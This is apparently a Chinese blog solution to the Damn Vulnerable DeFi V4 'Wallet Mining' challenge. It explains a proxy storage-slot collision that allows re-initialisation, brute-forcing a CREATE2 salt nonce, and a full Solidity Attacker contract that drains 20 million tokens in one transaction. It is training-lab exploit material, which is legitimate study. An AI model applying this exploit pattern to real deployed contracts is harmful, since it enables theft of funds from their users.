Damn-vulnerable-defi-V4-solution(Wallet Mining)

2025-09-07T00:17:14

一、Wallet Mining

背景:

本次挑战由两部分组成。

我们遇到的问题是,某个地址记录了 2000 万个 DVT,但该地址上还没有部署合约。我们需要在该地址上部署一个合约。

ward应该在WalletDeployer使用drop()函数部署合约后获得 1 个 DVT。然而,我们的角色是player,并且该函数只允许被ward在目标地址部署合约。我们需要找到一种方法来捕获那 1 个 DVT。

SafeProxy的部署过程如下:

我们之所以称之为SafeProxy代理是因为它将所有逻辑委托给了 Safe Wallet 单例。代理合约本身包含极少的代码;其主要功能是使用 delegatecall将调用转发给 Safe Wallet 单例。

SafeProxy合约是使用CREATE2创建的,这意味着我们可以确定性地计算它们的地址。地址是:

keccak256(0xFF ++ sender ++ salt ++ keccak256(init_code))[12:] // 仅用于说明,并非实际代码
//proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)

这里的sender指的是部署者地址。一开始我误以为部署者是 ward,但这是一个很大的误解。实际上,部署者是SafeProxyFactory合约。init_code用于地址计算的是:

abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(_singleton)));

我们需要在地址后附加创建代码,_singleton因为 是_singleton作为构造函数参数传递的。我们手动将其转换_singletonuint256(uint160(_singleton)),因为address是 20 个字节,但abi.encodePacked需要紧密对齐的数据,对齐到 32 个字节。

盐是:

bytes32  salt  = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));

因此,我们需要做的就是找到正确的initializersaltNonce (a uint256),以便计算出的地址与所需的地址匹配。

initializer相对容易猜测,因为它对应于SafeProxy的setup 的data,它会调用Safe.sol中的setup函数。

address[] memory owners = new address[](1);
owners[0] = user;
bytes memory initializer = abi.encodeCall(Safe.setup, (owners, 1 // 1 is the threshold
, address(0), "", address(0), address(0),  0, payable(address(0))));

为了找到saltNonce使部署的合约地址与相匹配的正确值USER_DEPOSIT_ADDRESS,我们需要通过迭代可能的值来进行暴力破解,通常使用for循环 - 直到计算出的地址等于目标地址。

// finding the saltNonce
for (uint256 saltNonce = 0; saltNonce < 100; saltNonce++) {
  address[] memory owners = new address[](1);
  owners[0] = user;
  bytes memory initializer = abi.encodeCall(Safe.setup, (owners, 1 // 1 is the threshold
  , address(0), "", address(0), address(0),  0, payable(address(0))));
  bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
  bytes memory initCode = abi.encodePacked(type(SafeProxy).creationCode, uint256(uint160(address(singletonCopy))));
  bytes memory guessBytes = keccak256(abi.encodePacked(bytes1(0xff), address(proxyFactory), salt, keccak256(initCode)));
  address guess = address(uint160(uint256(guessBytes)));
  if (guess == USER_DEPOSIT_ADDRESS) {
    console.log("saltNonce", saltNonce);
  }

我们发现saltNonce部署的值SafeProxy是13。

第二步,使用WalletDeployer中的函数drop部署合约。

function drop(address aim, bytes memory wat, uint256 num) external returns (bool) {
        if (mom != address(0) && !can(msg.sender, aim)) {
            return false;
        }

        if (address(cook.createProxyWithNonce(cpy, wat, num)) != aim) {
            return false;
        }

        if (IERC20(gem).balanceOf(address(this)) >= pay) {
            IERC20(gem).transfer(msg.sender, pay);
        }
        return true;
    }

drop函数调用mom中的函数can来验证msg.sender是否有权在目标地址部署合约。该mom合约是authorizer,它是AuthorizeUpgradable的代理实例。在初始化期间,它将设置can(ward, aim) = true, needsInit为零以防止重新初始化。

然而,由于authorizer实际上是AuthorizeUpgradable 实例的可升级代理,其第一个存储槽保存的是 的upgrader地址。这引入了一个漏洞:我们可以重新初始化合约,并将 ward设置为player。

对以上内容进行更详细的解释:

authorizer ( TransparentProxy) 使用AuthorizerFactory.sol 中的代码进行部署。不幸的是,AuthorizerUpgradeable(authorizer).needsInit()TransparentProxy(payable(authorizer)).setUpgrader(...)都访问同一个存储槽,具体来说是槽 0。这会产生冲突,就像needsInitAuthorizeUpgradable重叠upgrader一样TransparentProxy。部署结束时,槽 0 被设置为upgrader,它非零,这使我们能够再次初始化。

// AuthorizerFactory.sol

function deployWithProxy(address[] memory wards, address[] memory aims, address upgrader)
        external
        returns (address authorizer)
    {
        authorizer = address(
            new TransparentProxy( // proxy
                address(new AuthorizerUpgradeable()), // implementation
                abi.encodeCall(AuthorizerUpgradeable.init, (wards, aims)) // init data
            )
        );
        assert(AuthorizerUpgradeable(authorizer).needsInit() == 0); // slot0
        TransparentProxy(payable(authorizer)).setUpgrader(upgrader); // also slot0
    }

另一部分挑战在于,所有操作都必须在单笔交易drop中完成。在目标地址使用部署合约后WalletDeployer.sol,我们需要立即调用execTransactionSafeWallet将 2000 万 DVT 转回给 user。这需要传入有效的签名。

由于只允许一笔交易,我们必须使用 user的私钥对消息进行预签名,并将签名传递给我们部署的Attacker合约。Attacker合约随后将执行其余的攻击逻辑。

攻击思路:

攻击者先把 Authorizer 重新初始化,把自己写入为被授权者(可以为目标地址 USER_DEPOSIT_ADDRESS 做部署)。然后通过 WalletDeployer.drop() 在目标地址部署一个 Gnosis Safe(多签钱包),并把这个 Safe 的 owner 设为题目里“可控”的 user(攻击者持有 user 的私钥)。部署后用 user 的签名调用 Safe 的 execTransaction,把 Safe 里的大额 DVT 转到 user(实际就是攻击者控制的账户)。最后给 ward 一小笔(1 ether)作为“回扣/掩饰”。

function test_walletMining() public checkSolvedByPlayer {
        bytes32 DOMAIN_SEPARATOR = keccak256(
            abi.encode(
                bytes32(0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218),
                block.chainid,
                USER_DEPOSIT_ADDRESS
            )
        );
        bytes memory txHashData = abi.encodePacked(
            bytes1(0x19),
            bytes1(0x01),
            DOMAIN_SEPARATOR,
            keccak256(
                abi.encode(
                    bytes32(0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8),
                    address(token),
                    0,
                    keccak256(abi.encodeCall(token.transfer, (user, 20_000_000e18))),
                    Enum.Operation.Call,
                    50000,
                    0,
                    0,
                    address(0),
                    payable(0),
                    0
                )
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPrivateKey, keccak256(txHashData));
        bytes memory signatures = abi.encodePacked(r, s, v);
        new Attacker(authorizer, walletDeployer, token, signatures, user, ward);
    }
contract Attacker {
    constructor(
        AuthorizerUpgradeable authorizer,
        WalletDeployer walletDeployer,
        DamnValuableToken token,
        bytes memory signatures,
        address user,
        address ward
    ) {
        {
            address[] memory newWards = new address[](1);
            newWards[0] = address(this);
            address[] memory aims = new address[](1);
            aims[0] = 0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496;
            authorizer.init(newWards, aims);
        }
        address[] memory owners = new address[](1);
        owners[0] = user;

        bytes memory initializer =
            abi.encodeCall(Safe.setup, (owners, 1, address(0), "", address(0), address(0), 0, payable(address(0))));
        walletDeployer.drop(0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496, initializer, 13);
        Safe(payable(0xCe07CF30B540Bb84ceC5dA5547e1cb4722F9E496)).execTransaction(
            address(token),
            0,
            abi.encodeCall(token.transfer, (user, 20_000_000e18)),
            Enum.Operation.Call,
            50000,
            0,
            0,
            address(0),
            payable(0),
            signatures
        );
        token.transfer(ward, 1 ether);
    }
}
当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »